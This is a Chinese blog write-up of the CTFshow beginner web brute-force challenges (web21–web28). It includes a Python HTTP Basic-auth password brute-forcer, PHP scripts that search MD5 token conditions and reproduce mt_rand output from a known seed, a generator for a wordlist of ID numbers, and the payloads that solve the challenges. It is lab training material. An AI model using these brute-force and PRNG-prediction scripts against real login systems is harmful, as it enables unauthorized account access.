CTFSHOW WEB入门——爆破

已于 2022-10-15 14:35:01 修改
阅读量789 收藏 4
点赞数 1
分类专栏： ctfshow 文章标签： web安全
于 2022-09-16 09:25:14 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45889204/article/details/119411910
版权

WEB入门——爆破 目录

web21

Hint:

BP抓包
在这里插入图片描述
进行 base64 解码 验证

与输入一致采用 Custom iterator进行爆破

在这里插入图片描述
开始构建

  • 账号
    在这里插入图片描述
  • 分号
    在这里插入图片描述
  • 密码

在这里插入图片描述

  • 加密
    在这里插入图片描述
    爆不出来，发现网站最下面有给密码本

cat flag

在这里插入图片描述
网站给的脚本


import time
import requests
import base64

url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'

password = []

with open("1.txt", "r") as f:  
	while True:
	    data = f.readline() 
	    if data:
	    	password.append(data)
	    else:
	      break
	    


for p in password:
	strs = 'admin:'+ p[:-1]
	header={
		'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
	}
	rep =requests.get(url,headers=header)
	time.sleep(0.2)
	if rep.status_code ==200:
		print(rep.text)
		break

web22

字域名爆破 ，但是我没有爆破出来，直接访问好像有问题，也可能我是sb。。。。

flag.ctfer.com

web23

<?php

error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

根据描述是 Get 方式传入 一个 token 变量，且满足其 md5 值 满足：

substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)

intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))

这里可以直接依照代码进行爆破
不过不知道传值是几位，我是从1位开始测试

  • 一位
<?php
error_reporting(0);
$string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; #62位

for ($a = 0; $a < 62; $a++) {
	$flag = $string[$a];
	$token = md5($flag);
	if (substr($token, 1, 1) === substr($token, 14, 1) && substr($token, 14, 1) === substr($token, 17, 1)) {
		if ((intval(substr($token, 1, 1)) + intval(substr($token, 14, 1)) + substr($token, 17, 1)) / substr($token, 1, 1) === intval(substr($token, 31, 1))) {
			echo $flag . "\n";
		}
	}
            
}
?>
  • 两位
<?php
error_reporting(0);
$string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
#62位
for ($a = 0; $a < 62; $a++) {
	for($b = 0;$b < 62;$b++){
		$flag = $string[$a].$string[$b];
		$token = md5($flag);
		if (substr($token, 1, 1) === substr($token, 14, 1) && substr($token, 14, 1) === substr($token, 17, 1)) {
			if ((intval(substr($token, 1, 1)) + intval(substr($token, 14, 1)) + substr($token, 17, 1)) / substr($token, 1, 1) === intval(substr($token, 31, 1))) {
				echo $flag . "\n";
			}
		}
	}
            
}
?>

得到 token 可能的值：ZE 3j

payload: ?token=ZE

网站给的脚本

import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t).hexdigest()
#print md5
#print md5[1:2]
#print md5[14:15]
#print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print t
print md5
print md5[1:2]
print md5[14:15]
print md5[17:18]

不是很懂，太菜了

web24

 <?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?> Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021

伪随机数
mt_srand()
mt_rand()

<?php
mt_srand(372619038);
echo mt_rand();
?>

payload: ?r=1155388967
  • 网站提示
    mt_scrand(seed)这个函数的意思，是通过分发seed种子，然后种子有了后，靠mt_rand()生成随机 数。 提示：从 PHP 4.2.0 开始，随机数生成器自动播种，因此没有必要使用该函数 因此不需要播种，并且如果设置了 seed参数 生成的随机数就是伪随机数，意思就是每次生成的随机数 是一样的

web25

 <?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021

intval()

依据：

		mt_srand(hexdec(substr(md5($flag), 0,8)));
    	$rand = intval($r)-intval(mt_rand());

在这里插入图片描述

传入 ？r = 0 得到 mt_rand() 值为 2067093690

得到了第一个随机数，即可根据工具 php_mt_seed 进行爆破,将其拖入虚拟机，并根据f12 -> 网络 查看请求包的消息头或抓包，得到PHP版本：
在这里插入图片描述
在这里插入图片描述在这里插入图片描述然后得到代码中需求的第二个和第三个随机数：

<?php
#设 $x 为种子
mt_srand($x);
echo mt_rand()."\n";
echo mt_rand()."\n"; #--> 得到$a
echo mt_rand()."\n"; #--> 得到$b
echo $a + $b;
?>

这里我试了所有的种子都没有得到flag，有丝难受，故就不举实例了
这里就用一下 大佬的截图，得到flag
在这里插入图片描述

	传递参数 r=2067093690 token= $a+$b #上述 两个随机数之和
	为何 r =2067093690?
	if((!$rand)){
       if($_COOKIE['token']==(mt_rand()+mt_rand())){
           echo $flag;
       }

只有在 r a n d 不存在时， rand 不存在时， rand不存在时，_COOKIE[‘token’]==(mt_rand()+mt_rand() 才能执行，而2067093690 是我们在传?r=0时页面输出的随机数

$rand = intval($r)-intval(mt_rand());

此时的 r a n d = m t r a n d ( ) 即第一个生成的随机数，因此只要我们使 rand = mt_rand()即第一个生成的随机数，因此只要我们使 rand=mtr​and()即第一个生成的随机数，因此只要我们使r=mt_rand()=2067093690，就能让$rand=0，不存在，从而执行接下来的代码

  • 网站提示
    mt_scrand(seed)这个函数的意思，是通过分发seed种子，然后种子有了后，靠mt_rand()生成随机 数。
    在之前自己还以为需要暴力破解cookie,最后师傅们给我介绍了一个脚本，专门用来跑mt_srand()种子和 mt_rand()随机数的 这里自己解释一下为什么每一次的mt_rand()+mt_rand()不是第一次的随机数相加？？
    因为生成的随机数可以说是一个线性变换（实际上非常复杂）的每一次的确定的但是每一次是不一样的，所以不能 进行第一次*2就得到mt_rand()+mt_rand() 使用说只要我们得到种子就可以在本地进行获得自己想要的值 解题：通过随机数来寻找种子 我们让 ?r=0 得到随机数。
    这里我得到的是 183607393 每一次不一样(因为flag值在变化) 然后下载 php_mt_seed4.0
    我们在linux下面使用 gcc进行编译 gcc php_mt_seed.c -o php_mt_seed 之后运行脚本添加随机数 ./php_mt_seed 2067093690
    参考
    php_mt_seed

web26

法一

  • 根据提示进行抓宝：
    在这里插入图片描述在这里插入图片描述
  • 进行爆破：
    在这里插入图片描述在这里插入图片描述

法二

  • 查看源码有个check()函数：
function check() {
        $.ajax({
            url: 'checkdb.php',
            type: 'POST',
            dataType: 'json',
            data: {
                'a': $('#a').val(),
                'p': $('#p').val(),
                'd': $('#d').val(),
                'u': $('#u').val(),
                'pass': $('#pass').val()
            },
            success: function (data) {
                alert(data['msg']);
            },
            error: function (data) {
                alert(data['msg']);
            }
 
        });
    }
  • 在checkdb.php页面POST即可
    在这里插入图片描述

web27

菜鸡学院
在这里插入图片描述抓包貌似并没有什么反馈
发现下面有一个录取名单以及学生学籍信息查询系统，并且名单中包含系统填写内容：
在这里插入图片描述在这里插入图片描述

  • 开始爆破
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
  • 解密
    在这里插入图片描述
  • 登陆
    在这里插入图片描述在这里插入图片描述
  • 网站提示
<?php
//621022********5237
$myfile = fopen("zid.txt", "w") or die("Unable to open file!");
for($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year."0".$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year.$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.$mon."0".$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
close($myfile);

web28

  • Hint
通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可

找了一会儿还以为爆破失误，哈哈
在这里插入图片描述看大佬博客，可以 过滤掉3xx,4xx,5xx的包， 得到200响应包，获得flag,确实方便
在这里插入图片描述

参考大佬博客：
https://npfs06.top/2020/10/11/CTFshow-web%E5%85%A5%E9%97%A8-%E7%88%86%E7%A0%B4/
https://blog.csdn.net/i_kei/article/details/110821077?spm=1001.2014.3001.5501
https://oatmeal.vip/ctf-wp/ctfshow-web/
https://www.d1a0.cn/2020/11/20/ctfshow-web%E5%85%A5%E9%97%A8%E7%88%86%E7%A0%B4/#web28

羔羊~
关注
  • 1
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
[ctfshow]web入门——爆破（web23-web28）
ShenZ的博客
11-28 1400
文章目录web23web24web25web26web27web28 web23 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 11:43:51 # @Last Modified by: h1xa # @Last Modified time: 2020-09-03 11:56:11 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ e
CTFshow web入门——爆破
小元砸的博客
01-24 4699
web 21 一.涉及工具： burp suit burp suit 使用教程 二.解题思路： 1.随便输一个密码和用户名抓包一下 2.base64解密一下发现账号密码的形式为 账号：密码，根据题目提示我们用自定义迭代器爆破，使用方法参考：Custom iterator的使用 注：下面爆破用的字典是题目所提供的 3.爆破出结果 web 22 一.涉及知识点： 子域名爆破（此题不能爆破出来）在线子域名爆破 二.解题思路： 直接点开View Hint（提示）即可得到答案 web 23 一.涉及工具： p
ctfshow-web入门-爆破（web21-web24）
Welcome To Myon'Blog !
06-02 722
(intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1) === intval(substr($token, 31,1)) 将第 2、15 和 18 个字符转换为整数相加，再除以第 2 个字符的整数值，检查结果是否等于第 32 个字符的整数值；flag.ctf.show 页面无法访问（前面有一个查这个域名的 DNS 的 TXT信息的题也是有问题）
ctfshow-web入门——爆破（web21-web28）
2401_84578953的博客
05-17 1092
[在这里插入图片描述](https://img-[在这里插入图片描述](https://img-payload type选Custom iterrator，position1填admin，position2填:,position3导入字典，按照上面步骤直接爆破。
CTFshow——web入门——爆破
h_adam的博客
11-01 173
web入门——爆破web21web22 web21 题目 题解 用户名输admin 密码输123 抓包，发送给intruder，发现有个base解码 说明输入的被base加密了，我们可以添加前缀 因为被base64加密了，我们在这添加一个编码 取消勾选 字典用题目给的，开始爆破 web22 题目 题解 ...
CTFshow web入门 爆破
m0_64180167的博客
07-27 652
输入账号密码 抓包 发现下面存在一个base64编码我输入的是 123 123发现就是base加密账号 密码那我们怎么通过intruder模块 自动变为 base64呢然后去payload------>custom iterator(自定义迭代器)位置1导入admin因为是 账号:密码 这个组合 所以位置2 选择 :位置3再一次导入字典选择编码 我们在下面的进行编码选择还有记得取消自动url编码然后直接开始就可以了。
CTFshow——web入门——爆破web21-web28 详细Writeup
Leaf_initial的博客
08-01 301
解释一下为什么每一次的mt_rand()+mt_rand()不是第一次的随机数相加，因为生成的随机数可以说是一个线性变换（实际上非常复杂），每一次是确定的但是并不一样，所以不能 进行第一次*2就得到mt_rand()+mt_rand()，所以说只要我们得到种子就可以在本地进行获得自己想要的值解题。的值，该值经过md5加密后要他的第1,14,17位的值都相等，并且第1，14，17，31的值是整数并且第1,14,17位的值相加之后除以第1位的值等于第31位的值。
CTFshow web入门——文件包含
小元砸的博客
02-07 3467
Web 78 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 一.分析代码： 使用 include进行了文件包含 二.解题过程： 构造playload： ?file=php://filter/read=convert.base64-encode/resource=flag.php Web 79 <?p
ctfshow web入门——web23
m0_74093152的博客
02-22 361
ctfshowweb入门——web23
CTFshow_web入门_爆破
ScyLamb的博客
01-24 375
0x01 web21 参考链接：tomcat 认证爆破之custom iterator使用 burpsuite大致步骤： ①抓包发送至intruder ②base64解码Authorization: Basic YWRtaW46YWFhYQ===》Authorization: Basic admin:aaaa ③添加为payload§YWRtaW46YWFhYQ==§，payload type设置为custom iterator【自定义迭代器】 ④position 1中输入admin，position 2
CTFSHOW web183 正则爆破脚本
10-21
CTFSHOW web183 正则爆破脚本
ctfshow web185 正则爆破脚本
10-21
ctfshow web185 正则爆破脚本，以true拼接形成数字，实现ascii代替数字、字母和特殊符号
ctfshow web240 insert 爆破表名
10-21
ctfshow web240 insert 爆破表名
ctfshow web184 正则爆破脚本0x16进制
10-21
ctfshow web184 正则爆破脚本0x16进制
web安全爆破字典bp.txt
10-28
web安全-抓包字典
微软蓝屏”事件暴露了网络安全哪些问题？
2301_79339087的博客
07-23 1460
微软蓝屏事件不仅暴露了软件更新中的问题，更是一次对全球网络安全和系统稳定性的严峻考验。通过加强风险管理、质量控制、冗余设计和应急响应，我们可以在未来减少类似事件的发生，提高整体网络安全水平。各行业应加强合作，信息共享，共同提升应对重大系统故障的能力，构建更加稳固和安全的网络环境。在未来，我们需要更加关注软件更新过程中的风险管理和质量控制，通过引入更多的自动化工具和流程，提高测试的覆盖率和效率，确保软件的安全性和稳定性。
网络安全-华为华三交换机防火墙日志解析示例
最新发布
PanDD_0_1的博客
07-23 348
华为交换机日志解析示例。
网站验证：确保网络安全与信任的重要步骤
07-22 311
在数字时代，网站验证是确保网络安全和建立用户信任的关键措施。随着网络诈骗和恶意软件的日益增多，验证网站的真实性和安全性变得尤为重要。本文将探讨网站验证的重要性、常见的验证方法以及如何通过验证提升用户体验和网站信誉。
ctfshow-web入门爆破
08-30
在ctfshow-web入门爆破中，可以使用正则爆破脚本来实现对目录的暴力破解。该脚本会将true拼接成数字，并以此来替换ASCII码中的数字、字母和特殊符号，以实现对目录的爆破。通过暴力破解目录/0-100/0-100/看返回数据包，可以在爆破过程中去掉2.txt，只爆破目录即可。可以通过查看返回的数据包来获取目录中的信息。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [ctfshow web185 正则爆破脚本](https://download.csdn.net/download/eason612/86793758)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [CTFshow web入门——爆破](https://blog.csdn.net/qq_49480008/article/details/112991503)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值